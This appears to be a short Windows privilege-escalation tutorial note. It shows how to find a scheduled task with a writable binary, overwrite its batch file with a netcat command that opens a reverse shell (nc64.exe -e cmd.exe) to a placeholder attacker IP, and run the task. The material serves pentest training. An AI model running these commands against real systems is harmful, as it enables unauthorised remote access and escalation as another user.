- Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it's using a binary you can modify. - Scheduled tasks can be listed from the command line using the `schtasks` command without any options. - To retrieve detailed information about any of the services, you can use a command like the following: ```powershell C:\> schtasks /query /tn vulntask /fo list /v Folder: \ HostName: WOOK-PC1 TaskName: \vulntask Task To Run: C:\tasks\schtask.bat Run As User: taskusr1 ``` ```powershell echo C:\tools\nc64.exe -e cmd.exe <IP> 1234 > C:\tasks\schtask.bat ``` ```powershell schtasks /run /tn vulntask ```